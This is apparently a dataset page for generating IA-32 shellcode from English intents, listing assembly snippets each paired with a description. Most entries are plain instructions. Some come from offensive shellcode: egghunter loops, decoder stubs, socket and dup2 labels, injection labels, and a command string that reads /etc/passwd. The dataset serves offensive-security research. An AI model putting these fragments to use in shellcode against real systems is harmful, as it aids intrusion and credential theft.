SoLID/shellcode_i_a32
Shellcode_IA32 is a dataset for shellcode generation from English intents. The shellcodes are compilable on Intel Architecture 32-bits.
13223
1SNIPPETS INTENTS2_appendfile: define the _appendfile label3_build: define the _build label4_child: define the _child label5_close: define the _close label6_cmd: define the _cmd label7_continue: define the _continue label8_dup2_loop: define the _dup2_loop label9_egg: define the _egg label10_exec: define the _exec label11_execline: define the _execline label12_exit: define the _exit label13_file: define the _file label14_ip equ 0x0100007f define ip equal to 0x0100007f15_isegg: define the _isegg label16_load_data: define the _load_data label17_next: define the _next label18_param: define the _param label19_params: define the _params label20_parent_read: define the _parent_read label21_parent: define the _parent label22_random: define the _random label23_return: define the _return label24_setsockopt: define the _setsockopt label25_shell: define the _shell label26_socket: define the _socket label27_start: _start function28_start: define the _start label29_user: define the _user label30_while_loop: define the _while_loop label31_write: define the _write label321: define the label 1331: define the numeric label 1342: define the label 2352: define the numeric label 2363: define the label 3373: define the numeric label 338a_letter db 'd' allocate one byte of memory for a_letter variable and initialize it to 'd'39add [ebp-4], esi add esi into memory address ebp-440add ah, bh add the contents of the bh register into the ah register41add al, 0x25 add 0x25 to the al register42add al, 0x3 add 0x3 to the contents in al and save the result in al43add al, 0x33 add 0x33 to the contents in al and save the result in al44add al, 0x40 add 0x40 to the al register45add al, 0x66 add 0x66 to the contents in al and save the result in al46add al, 0xa add 0xa to the al register47add al, 0xb add 0xb to the al register48add al, 2 add the value 2 to the contents of the al register49add al, byte '0' add byte '0' to al50add al, byte [edi] add the byte in edi to the al register51add ax, [di + 20] add memory[di + 20] to ax52add ax, 01 add 01 to ax53add ax, bx add the contents of bx into ax54add bl, 0x2 add 0x2 to the contents in bl and save the result in bl55add bx, ax add ax to bx56add byte [esi], 2 add the byte value 2 to the esi register57add byte [var], 10 add 10 to the single byte stored at memory address var58add byte [var], 20 add 20 to the single byte stored at memory address var59add byte [var], 30 add 30 to the single byte stored at memory address var60add byte_value, 65 add an immediate operand 65 to byte_value61add byte_value, dl add the register dl in the memory location byte_value62add cl, 0x2 add 0x2 to the contents in cl and save the result in cl63add cl, 0xb8 add 0xb8 to the cl register64add dx, 0x1b add the value 0x1b into the dx register65add dx, 0x2f2f add 0x2f2f to the contents in dx and save the result in dx66add eax, [ebp-4] add the contents of the local variable stored at ebp-4 into eax67add eax, 0x10 add 0x10 to eax68add eax, 0x12345678 add 0x12345678 to the contents in eax and save the result in eax69add eax, 0x2d383638 add 0x2d383638 to the contents in eax and save the result in eax70add eax, 0x31179798 add 0x31179798 to the contents in eax and save the result in eax71add eax, 10 add 10 to eax72add eax, 10 add 10 to the contents of eax73add eax, 16 add 16 to eax74add eax, 2 add 2 to the contents of the eax register75add eax, 2 add 2 to the eax register76add eax, 2 add decimal 2 to eax register77add eax, 24 add 24 to eax78add eax, 4 add 4 to eax79add eax, 40000h add 40000h to eax register80add eax, 48 add 48 to eax81add eax, 48 add decimal 48 to eax82add eax, c add c to eax83add eax, ebx add ebx to eax84add eax, ebx add ebx to eax and store the result in eax85add eax, ebx add the contents of ebx to the contents of eax86add eax, edx add edx to eax87add eax, edx add the contents of edx to the contents of eax88add eax, edx add the contents of the edx register to the contents of eax register89add eax, esi add the contents of esi to the contents of eax90add eax, esi add the contents of the esi register to the contents of eax register91add ebp, 0x2 add 0x2 to the contents of ebp92add ebx, 0x2 add 0x2 to the contents in ebx and save the result in ebx93add ebx, 16 add 16 to ebx94add ebx, 2 add 2 to the contents of the ebx register95add ebx, 2 add decimal integer 2 to ebx96add ebx, 24 add 48 to ebx97add ebx, 3 add 3 to the contents of the ebx register98add ebx, 5 add decimal integer 5 to ebx99add ebx, ecx add ecx to ebx100add ecx, 1 add the value 1 into the ecx register101add ecx, 16 add 16 to ecx102add ecx, ebx add ebx to ecx103add edi, edi add the contents of edi to the contents of edi104add edi, edi add the contents of the edi register to the contents of edi register105add edx, 16 set edx to next 16 byte block106add edx, 32 add 32 to edx107add edx, 48 add 48 to edx108add edx, 64 add 64 to the contents of the edx register109add edx, eax add the contents of eax to the contents of edx110add edx, eax add the contents of the eax register to the contents of edx register111add edx, eax add the contents of the eax register to the edx register112add edx, ecx add ecx to edx113add esi, 0x21354523 add 0x21354523 to the contents in esi and save the result in esi114add esi, 0x21354523 add 0x21354523 to the contents of esi115add esi, 0x30 add 0x30 to esi116add esi, 0x33333333 add 0x33333333 value to esi117add esi, 0x3f3f3f3f add 0x3f3f3f3f to the contents in esi and save the result in esi118add esi, 4 add 4 to esi119add esi, 4 add 4 to the contents of the esi register120add esi, eax add eax to esi121add esi, eax add the contents of the eax register to the contents of esi register122add esp, 0x20 add 0x20 to the contents in esp and save the result in esp123add esp, 3 add 3 to the contents of esp124add esp, 3 add 3 to the contents of the esp register125add esp, 4 add 4 to the esp register126add marks, 10 add 10 to the variable marks127addr: db 0x1 define the byte addr and initialize it to 0x1128all: define the all label129an_integer dd 12425 define the doubleword an_integer and initialize it to 12425130and al, 0fh perform a logical and operation between the al register and the 0fh value and store the result in the al register131and ax, 1 perform logical and between ax and 1132and eax, 0000000fh mask out lowest 4 bits of the eax register133and eax, 0fh clear all but the last 4 bits of eax134and eax, 3f465456 perform and operation between eax and 3f465456 and save the result in eax135and eax, 40392b29 perform and operation between eax and 40392b29 and save the result in eax136and ebx, 0000000fh mask out lowest 4 bits of the ebx register137and ecx, 0000000fh mask out lowest 4 bits of the ecx register138and edx, 0000000fh mask out lowest 4 bits of the edx register139and mask1, 128 perform and operation on the variable mask1 and 128140arr dd 100 define the doubleword arr and initialize it to 100141arr dd 50 define the doubleword arr and initialize it to 50142arr1 resb 400 reserve the array arr1 of 400 uninitialized bytes143array dd 20 define the doubleword arr and initialize it to 20144array word 20 define an array of 20 initialized word145array word 5 define an array of 5 initialized word146b: dd 0x0 create variable b in memory and initialize to zero147big_number dd 123456789 define the doubleword variable big_number and initialize it to 123456789148bignum: resw 1 reserve 1 word at location bignum149buffer: resb 64 reserve 64 bytes for buffer150buffersize: dw 1024 declare buffersize to be a word containing 1024151byte_table db 14, 15, 22, 45 define a tables of bytes byte_table and initialize to 14, 15 and 22152byte_value db 150 define the byte value byte_value and initialize it to 150153bytes db 10 define the byte value bytes and initialize it to 10154bytes db 20 define the byte value bytes and initialize it to 20155call _appendfile call the _appendfile function156call _build call the _build function157call _continue call _continue158call _continue call the _continue function159call _exec call the _exec function160call _exit call _exit161call _malloc call _malloc162call _myfunc call the _myfunc function163call _params call the _params function164call _printf call the _printf function165call _write call the _write function166call [esp] call the function in esp167call atoi call the atoi function168call code call the code function169call cont call the cont function170call decoder call the decoder function171call doit call the doit function172call egghunter call the egghunter function173call esi call the esi function174call esi call the function in esi175call esp call the esp function176call execute call the execute function177call internetreadfile call function internetreadfile178call iprint call the iprint function179call iprintlf call the iprintlf function180call jmp_search call jmp_search181call jmp_search call the jmp_search function182call loader call the loader function183call main call the main function184call me call the me function185call my_subroutine call my_subroutine186call near stageaddress call the near function187call one call the one function188call prepare call the prepare function189call quit call the quit function190call set_argv call set_argv191call set_argv call the set_argv function192call shell_ret call the shell_ret function193call shellcode call the shellcode function194call sprint call the sprint function195call sprintlf call the sprintlf function196call start call the start function197call strlen call the strlen function198call two call the two function199call write call the write function200call writestring call the writestring function201call writestring call writestring202call_decoded: define the call_decoded label203call_decoder: define call_decoder function204call_decoder: define the call_decoder label205call_egghunter: define the call_egghunter label206call_shellcode: declare the call_shellcode label207call_shellcode: define call_shellcode function208call_shellcode: define call_shellcode label209call_shellcode: define the call_shellcode label210call_write: define the call_write label211callit: define the callit label212callme: define the callme label213callpop: define the callpop function214callpop: define the callpop label215cdq clear the edx register216cdq extend the sign bit of eax into the edx register217cdq extend the sign bit of eax register into the edx register218cdq extend the sign bit of the eax register into the edx register219check_even_odd: define check_even_odd function220child: define the child function221child: define the child label222chmod_call equ 15 define chmod_call equal to 15223choice db 'y' define variable choice of 1 byte and initialize to y224cld clear the direction flag225cld direction flag equal to zero226cld set the direction flag to zero227close_syscall equ 6 define close_syscall equal to 6228closefile: define the closefile function229closefile: define the closefile label230cmd: define the cmd label231cmd: db 'cat /etc/passwd' declare cmd string and initialize it to 'cat /etc/passwd'232cmd: db 'cat /etc/passwd' define cmd as the byte string 'cat /etc/passwd'233cmp [ebp+arg_0], 1 compare the contents stored at ebp+arg_0 with 1234cmp [ebp+var_a], 0 compare if the contents at memory location ebp+var_a is 0235cmp [ebp+var_a], 0 compare the contents at memory location ebp+var_a with 0236cmp [ebp+var_a], 0 \n jnz short loc_4010E5 jump short to the memory location loc_4010E5 if the contents of the memory address ebp+var_a is not equal to zero237cmp [ebp+var_a], 0 \n jnz short loc_4010E5 if the contents of the memory address ebp+var_a is not equal to zero then jump short to the memory location loc_4010E5238cmp [esi], edx compare the contents at memory location esi and the contents of the edx register239cmp [esi], edx compare the contents at memory location esi with edx240cmp al, 0x38 \n je 0x40 \n push byte 0x1 jump to the memory address 0x40 if the contents of the al register is equal to the value 0x38 else push the byte representation of the value 0x1 onto the stack241cmp al, 0x38 \n je 0x40 \n push byte 0x1 if the contents of the al register is equal to the value 0x38 then jump to the memory address 0x40 else push the byte representation of the value 0x1 onto the stack242cmp al, 0xaa \n je decode_insertion \n xor al, bl jump to the decode_insertion label if the contents of the al register is equal to the vale 0xaa else perform a logical xor operation between the al register and the bl register and store the result in the al register243cmp al, 0xaa \n je decode_insertion \n xor al, bl if the contents of the al register is equal to the vale 0xaa then jump to the decode_insertion label else perform a logical xor operation between the al register and the bl register and store the result in the al register244cmp al, 0xf2 compare if the contents of al with 0xf2245cmp al, 0xf2 compare the contents of the al register and 0xf2246cmp al, 0xf2 compare the contents of the al register with the value 0xf2247cmp al, 0xf2 \n je _start jump to the _start label if the contents of the al register is equal to the value 0xf2248cmp al, 0xf2 \n je _start if the contents of the al register is equal to the value 0xf2 then jump to the _start label249cmp al, 0xf2 \n je _start \n mov eax, 0x50905090 jump to the _start label if the contents of the al register is equal to the value 0xf2 else move the value 0x50905090 into the eax register250cmp al, 0xf2 \n je _start \n mov eax, 0x50905090 if the contents of the al register is equal to the value 0xf2 then jump to the _start label else move the value 0x50905090 into the eax register251cmp al, 0xf2 \n je fillOnes jump to the fillOnes label if the contents of the al register is equal to the value 0xf2252cmp al, 0xf2 \n je fillOnes if the contents of the al register is equal to the value 0xf2 then jump to the fillOnes label253cmp al, 0xf2 \n je fillOnes \n mov eax, 0x59935193 jump to the fillOnes label if the contents of the al register is equal to 0xf2 else move the value 0x59935193 into the eax register254cmp al, 0xf2 \n je fillOnes \n mov eax, 0x59935193 if the contents of the al register is equal to 0xf2 then jump to the fillOnes label else move the value 0x59935193 into the eax register255cmp al, 0xf2 \n je next_page jump to the label next_page if the contents of the al register is equal to the value 0xf2256cmp al, 0xf2 \n je next_page if the contents of the al register is equal to the value 0xf2 then jump to the label next_page257cmp al, 0xf2 \n jz _start jump to the _start label if the contents of the al register is equal to the value 0xf2258cmp al, 0xf2 \n jz _start if the contents of the al register is equal to the value 0xf2 then jump to the _start label259cmp al, 0xf2 \n jz incpage jump to the incpage label if the contents of the al register is equal to the value 0xf2260cmp al, 0xf2 \n jz incpage if the contents of the al register is equal to the value 0xf2 then jump to the incpage label261cmp al, 9 \n jg l1 jump to the label l1 if the contents of the al register is greater than the decimal value 9262cmp al, 9 \n jg l1 if the contents of the al register is greater than the decimal value 9 then jump to the label l1263cmp al, 9 \n jge l1 jump to the label l1 if the contents of the al register is greater than or equal to the decimal value 9264cmp al, 9 \n jge l1 if the contents of the al register is greater than or equal to the decimal value 9 then jump to the label l1265cmp al, bl \n ja l2 \n add eax, 3 jump to the l2 label if the unsigned contents of the al register is greater than the unsigned contents of the bl register else add the value 3 to the eax register266cmp al, bl \n ja l2 \n add eax, 3 if the unsigned contents of the al register is greater than the unsigned contents of the bl register then jump to the l2 label else add the value 3 to the eax register267cmp al, bl \n jb l2 jump to the label l2 if the unsigned contents of the al register is lower than the unsigned contents of the bl register268cmp al, bl \n jb l2 if the unsigned contents of the al register is lower than the unsigned contents of the bl register then jump to the label l2269cmp al, cl compare the contents of al with the cl register270cmp al, cl compare the contents of the al register and the contents of the cl register271cmp al, cl \n jne short decode \n jmp shellcode jump short to the decode label if the contents of the al register is not equal to the contents of the cl register else jump to the shellcode label272cmp al, cl \n jne short decode \n jmp shellcode if the contents of the al register is not equal to the contents of the cl register then jump short to the decode label else jump to the shellcode label273cmp ax, bx \n jne l3 jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register274cmp ax, bx \n jne l3 if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label275cmp ax, bx \n jne l3 \n jmp while jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register else jump to the while label276cmp ax, bx \n jne l3 \n jmp while if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label else jump to the while label277cmp bh, al compare the contents of bh and the contents of al278cmp bl, 0x1f compare the contents of bl and 0x1f279cmp bl, 0x1f \n jb 0xf3 \n add al, 0x40 jump to the memory address 0xf3 if the unsigned contents of the bl register is lower than the unsigned value 0x1f else add the 0x40 value to the al register280cmp bl, 0x1f \n jb 0xf3 \n add al, 0x40 if the unsigned contents of the bl register is lower than the unsigned value 0x1f then jump to the memory address 0xf3 else add the 0x40 value to the al register281cmp bl, 0xaa \n je shellcode jump to the shellcode label if the contents of the bl register is equal to the value 0xaa282cmp bl, 0xaa \n je shellcode if the contents of the bl register is equal to the value 0xaa then jump to the shellcode label283cmp bl, 0xbb \n je xordecode \n jmp notdecode jump to the xordecode label if the contents of the bl register is equal to the value 0xbb else jump to the notdecode label284cmp bl, 0xbb \n je xordecode \n jmp notdecode if the contents of the bl register is equal to the value 0xbb then jump to the xordecode label else jump to the notdecode label285cmp bl, 48 compare ebx register's lower half value against ascii value 48286cmp bl, 57 compare ebx register's lower half value against ascii value 57287cmp bl, 78h \n jg short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is greater than the value 78h288cmp bl, 78h \n jg short loc_402B1D if the contents of the bl register is greater than the value 78h then jump to the memory location loc_402B1D289cmp bl, 78h \n jge short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is greater than or equal to the value 78h290cmp bl, 78h \n jge short loc_402B1D if the contents of the bl register is greater than or equal to the value 78h then jump to the memory location loc_402B1D291cmp bl, 78h \n jl short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is less than the value 78h292cmp bl, 78h \n jl short loc_402B1D if the contents of the bl register is less than the value 78h then jump to the memory location loc_402B1D293cmp bl, 78h \n jle short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is less than or equal to the value 78h294cmp bl, 78h \n jle short loc_402B1D if the contents of the bl register is less than or equal to the value 78h then jump to the memory location loc_402B1D295cmp bl, al \n je loop_2 jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register296cmp bl, al \n je loop_2 if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label297cmp bl, al \n je loop_2 \n jmp short not_found jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register else jump short to the not_found label298cmp bl, al \n je loop_2 \n jmp short not_found if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label else jump short to the not_found label299cmp byte [buff], 61h compare the byte at the memory location buff with 61h300cmp byte [buff], 7ah compare the byte at the memory location buff with 7ah301cmp byte [eax], 0 compare the byte pointed to by eax at this address against zero302cmp byte [ebp+ecx], 61h compare the byte at the memory location ebp+ecx with 61h303cmp byte [ebp+ecx], 7ah compare the byte at the memory location ebp+ecx with 7ah304cmp BYTE [edx], 0x2e \n jne l2 jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e305cmp BYTE [edx], 0x2e \n jne l2 if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label306cmp BYTE [edx], 0x2e \n jne l2 \n jmp while jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e else jump to the while label307cmp BYTE [edx], 0x2e \n jne l2 \n jmp while if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label else jump to the while label308cmp byte [esi], 0x7 compare the byte in esi with 0x7309cmp BYTE [esi], 0x7 \n jl lowbound jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7310cmp BYTE [esi], 0x7 \n jl lowbound if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label311cmp BYTE [esi], 0x7 \n jl lowbound \n sub BYTE [esi], 0x7 jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7 else subtract the byte value 0x7 from byte starting at the address contained in the esi register312cmp BYTE [esi], 0x7 \n jl lowbound \n sub BYTE [esi], 0x7 if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label else subtract the byte value 0x7 from byte starting at the address contained in the esi register313cmp BYTE [esi], 0x7 \n jle lowbound jump to the lowbound label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7314cmp BYTE [esi], 0x7 \n jle lowbound if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7 then jump to the lowbound label315cmp byte [esi], 0xd compare the byte at the address esi and 0xd316cmp byte [esi], 0xD \n jl wrap_around jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD317cmp byte [esi], 0xD \n jl wrap_around if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label318cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD else subtract the byte value 0xD from byte starting at the address contained in the esi register319cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label else subtract the byte value 0xD from byte starting at the address contained in the esi register320cmp byte [esi], 0xD \n jle wrap_around jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD321cmp byte [esi], 0xD \n jle wrap_around if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD then jump to the wrap_around label322cmp BYTE al, 2 \n je do_inject jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register323cmp BYTE al, 2 \n je do_inject if the byte representation of 2 is equal to the contents of the al register then jump to the label do_inject324cmp BYTE al, 2 \n je do_inject \n jmp while jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register else jump to the while label325cmp BYTE al, 2 \n je do_inject \n jmp while if the byte representation of 2 is equal to the contents of the al register else jump to the while label then jump to the label do_inject326cmp BYTE bl, [esi] \n jne loop_1 jump to the label loop_1 if the first byte of the esi register is not equal to the contents of the bl register327cmp BYTE bl, [esi] \n jne loop_1 if the first byte of the esi register is not equal to the contents of the bl register then jump to the label loop_1328cmp cl, 0x11 \n jb 0xff \n add dl, 0x5 jump to the memory address 0xff if the unsigned contents of the cl register is lower than the unsigned value 0x11 else add the 0x5 value to the dl register329cmp cl, 0x11 \n jb 0xff \n add dl, 0x5 if the unsigned contents of the cl register is lower than the unsigned value 0x11 then jump to the memory address 0xff else add the 0x5 value to the dl register330cmp cl, 0x3 \n jne loop jump to the loop label if the contents of the cl register is not equal to the value 0x3331cmp cl, 0x3 \n jne loop if the contents of the cl register is not equal to the value 0x3 then jump to the loop label332cmp cl, 0x3 \n jne loop2 jump to the loop2 label if the contents of the cl register is not equal to the value 0x3333cmp cl, 0x3 \n jne loop2 if the contents of the cl register is not equal to the value 0x3 then jump to the loop2 label334cmp cl, 12 \n jg l2 jump to the label l2 if the contents of the cl register is greater than the decimal value 12335cmp cl, 12 \n jg l2 if the contents of the cl register is greater than the decimal value 12 then jump to the label l2336cmp cl, 12 \n jge l2 jump to the label l2 if the contents of the cl register is greater than or equal to the decimal value 12337cmp cl, 12 \n jge l2 if the contents of the cl register is greater than or equal to the decimal value 12 then jump to the label l2338cmp cl, dl \n jb l3 jump to the label l3 if the unsigned contents of the cl register is lower than the unsigned contents of the dl register339cmp cl, dl \n jb l3 if the unsigned contents of the cl register is lower than the unsigned contents of the dl register then jump to the label l3340cmp cl, dl \n je EncodedShellcode jump to the EncodedShellcode label if the contents of the cl register is equal to the contents of the dl register341cmp cl, dl \n je EncodedShellcode if the contents of the cl register is equal to the contents of the dl register then jump to the EncodedShellcode label342cmp cl, dl \n je init \n inc cl jump to the init label if the contents of the cl register is equal to the contents of the dl register else increment the contents of the cl register343cmp cl, dl \n je init \n inc cl if the contents of the cl register is equal to the contents of the dl register then jump to the init label else increment the contents of the cl register344cmp dl, 1 \n je exit \n jmp reading jump to the exit label if the contents of the dl register is equal to the vale 1 else jump to the reading label345cmp dl, 1 \n je exit \n jmp reading if the contents of the dl register is equal to the vale 1 then jump to the exit label else jump to the reading label346cmp dl, 1h compare the contents of the dl register and 1h347cmp dl, 27 \n jg l3 jump to the label l3 if the contents of the dl register is greater than the decimal value 27348cmp dl, 27 \n jg l3 if the contents of the dl register is greater than the decimal value 27 then jump to the label l3349cmp dl, 27 \n jge l3 jump to the label l3 if the contents of the dl register is greater than or equal to the decimal value 27350cmp dl, 27 \n jge l3 if the contents of the dl register is greater than or equal to the decimal value 27 then jump to the label l3351cmp dl, cl \n jb l1 \n mov al, 0x39 jump to the label l1 if the unsigned contents of the dl register is lower than the unsigned contents of the cl register else move the value 0x39 to the al register352cmp dl, cl \n jb l1 \n mov al, 0x39 if the unsigned contents of the dl register is lower than the unsigned contents of the cl register then jump to the label l1 else move the value 0x39 to the al register353cmp dword [eax-4], egg1 compare the dword at the address [eax-4] and egg1354cmp dword [eax-4], egg1 \n jne _next \n jmp eax jump to the _next label if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address else jump to the eax register355cmp dword [eax-4], egg1 \n jne _next \n jmp eax if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address then jump to the _next label else jump to the eax register356cmp dword [eax-4], egg2 \n je _next \n jmp eax jump to the _next label if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address else jump to the eax register357cmp dword [eax-4], egg2 \n je _next \n jmp eax if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address then jump to the _next label else jump to the eax register358cmp dword [eax-4],egg1 compare the dword at the memory location [eax-4] with the value of egg1359cmp dword [eax-8], egg compare the dword at the address [eax-8] and egg360cmp dword [eax-8], egg \n jne _next jump to the _next label if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address361cmp dword [eax-8], egg \n jne _next if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address then jump to the _next label362cmp dword [eax-8],egg compare the dword at the memory location [eax-8] with the value of egg363cmp DWORD [eax], 0x4f904790 \n jne _start \n jmp eax jump to the jne _start label if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 else jump to the eax register364cmp DWORD [eax], 0x4f904790 \n jne _start \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 then jump to the jne _start label else jump to the eax register365cmp dword [eax], ebx compare the dword at the address [eax] and the contents of the ebx register366cmp dword [eax], ebx \n jne next_addr \n jmp eax jump to the next_address label if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster else jump to the eax register367cmp dword [eax], ebx \n jne next_addr \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster then jump to the next_address label else jump to the eax register368cmp DWORD [eax], edx \n jne loop \n jmp eax jump to the loop label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register369cmp DWORD [eax], edx \n jne loop \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the loop label else jump to the eax register370cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax jump to the while label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register371cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax jump to the search_the_egg label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register372cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the while label else jump to the eax register373cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the search_the_egg label else jump to the eax register374cmp DWORD [edx], 0x636f7270 \n je while jump to the while label if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270375cmp DWORD [edx], 0x636f7270 \n je while if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270 then jump to the while label376cmp dword [var], 10 compare the doubleword stored at memory location var to the integer value 10377cmp dx, 00 compare the dx value with zero378cmp dx, 0x03e8 \n je L1 jump to the L1 label if the contents of the dx register is equal to the value 0x03e8379cmp dx, 0x03e8 \n je L1 if the contents of the dx register is equal to the value 0x03e8 then jump to the L1 label380cmp eax, 0 compare eax to zero381cmp eax, 0 compare if eax is equal to 0382cmp eax, 0 compare if eax is zero383cmp eax, eax compare the contents of eax and the contents of eax384cmp eax, eax \n jne 0x8 jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register385cmp eax, eax \n jne 0x8 if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8386cmp eax, eax \n jne 0x8 \n xor eax, eax jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register else zero out the eax register387cmp eax, eax \n jne 0x8 \n xor eax, eax if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8 else zero out the eax register388cmp eax, ebp \n jnz short loc_40102B jump short to the memory location loc_40102B if the contents of the eax register is not equal to the contents of the ebp register389cmp eax, ebp \n jnz short loc_40102B if the contents of the eax register is not equal to the contents of the ebp register then jump short to the memory location loc_40102B390cmp eax, ebx compare eax with ebx391cmp eax, ebx compare the contents of eax and the contents of ebx392cmp eax, ebx compare the contents of the eax register and the contents of the ebx register393cmp eax, ebx \n je 0x47 jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register394cmp eax, ebx \n je 0x47 if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47395cmp eax, ebx \n je 0x47 \n xor ecx, ecx jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register else zero out the ecx register396cmp eax, ebx \n je 0x47 \n xor ecx, ecx if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47 else zero out the ecx register397cmp eax, ebx \n je all jump to the all label if the contents of the eax register is equal to the contents of the ebx register398cmp eax, ebx \n je all if the contents of the eax register is equal to the contents of the ebx register then jump to the all label399cmp eax, ebx \n je all \n xor eax, eax jump to the all label if the contents of the eax register is equal to the contents of the ebx register else zero out the eax register400cmp eax, ebx \n je all \n xor eax, eax if the contents of the eax register is equal to the contents of the ebx register then jump to the all label else zero out the eax register401cmp eax, ebx \n je child jump to the child label if the contents of the eax register is equal to the contents of the ebx register402cmp eax, ebx \n je child if the contents of the eax register is equal to the contents of the ebx register then jump to the child label403cmp eax, ebx \n je connect \n ja exit jump to the connect label if the contents of the eax register is equal to the contents of the ebx register else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register404cmp eax, ebx \n je connect \n ja exit if the contents of the eax register is equal to the contents of the ebx register then jump to the connect label else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register405cmp eax, ebx \n je download jump to the download label if the contents of the eax register is equal to the contents of the ebx register406cmp eax, ebx \n je download if the contents of the eax register is equal to the contents of the ebx register then jump to the download label407cmp eax, ebx \n je exit jump to the exit label if the contents of the eax register is equal to the contents of the ebx register408cmp eax, ebx \n je exit if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label409cmp eax, ebx \n je exit \n add al, 0x3 jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x3 into the al register410cmp eax, ebx \n je exit \n add al, 0x3 if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x3 into the al register411cmp eax, ebx \n je exit \n mov al, 0x4 jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x4 into the al register412cmp eax, ebx \n je exit \n mov al, 0x4 if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x4 into the al register413cmp eax, ebx \n je L1 jump to the L1 label if the contents of the eax register is equal to the contents of the ebx register414cmp eax, ebx \n je L1 if the contents of the eax register is equal to the contents of the ebx register then jump to the L1 label415cmp eax, ebx \n jne retry jump to the retry label if the contents of the eax register is not equal to the contents of the ebx register416cmp eax, ebx \n jne retry if the contents of the eax register is not equal to the contents of the ebx register then jump to the retry label417cmp eax, edi \n jne infinite jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register418cmp eax, edi \n jne infinite if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label419cmp eax, edi \n jne infinite \n xor eax, eax jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register else zero out the eax register420cmp eax, edi \n jne infinite \n xor eax, eax if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label else zero out the eax register421cmp eax,ebx compare the contents of eax with ebx422cmp ebp, 0 compare the contents of the ebp register with the value 0423cmp ebx, 0 compare if ebx is zero424cmp ebx, 9 \n ja exit \n jmp loop jump to the exit label if the unsigned contents of the ebx register is greater than the unsigned value 10 else jump to the loop label425cmp ebx, 9 \n ja exit \n jmp loop if the unsigned contents of the ebx register is greater than the unsigned value 10 then jump to the exit label else jump to the loop label426cmp ecx, 0 compare ecx to 0427cmp ecx, 0 compare if ecx is zero428cmp ecx, 0h compare ecx with 0h429cmp ecx, 10 compare if ecx is equal to 10430cmp ecx, 100 compare if ecx is equal to 100431cmp ecx, 100 compare if our counter is equal to 100432cmp ecx, 5 compare ecx with 5433cmp ecx, ebp compare ecx and ebp434cmp ecx, ebp compare the contents of the ecx register with the contents of the ebp register435cmp ecx, edx \n ja l1 jump to the l1 label if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register436cmp 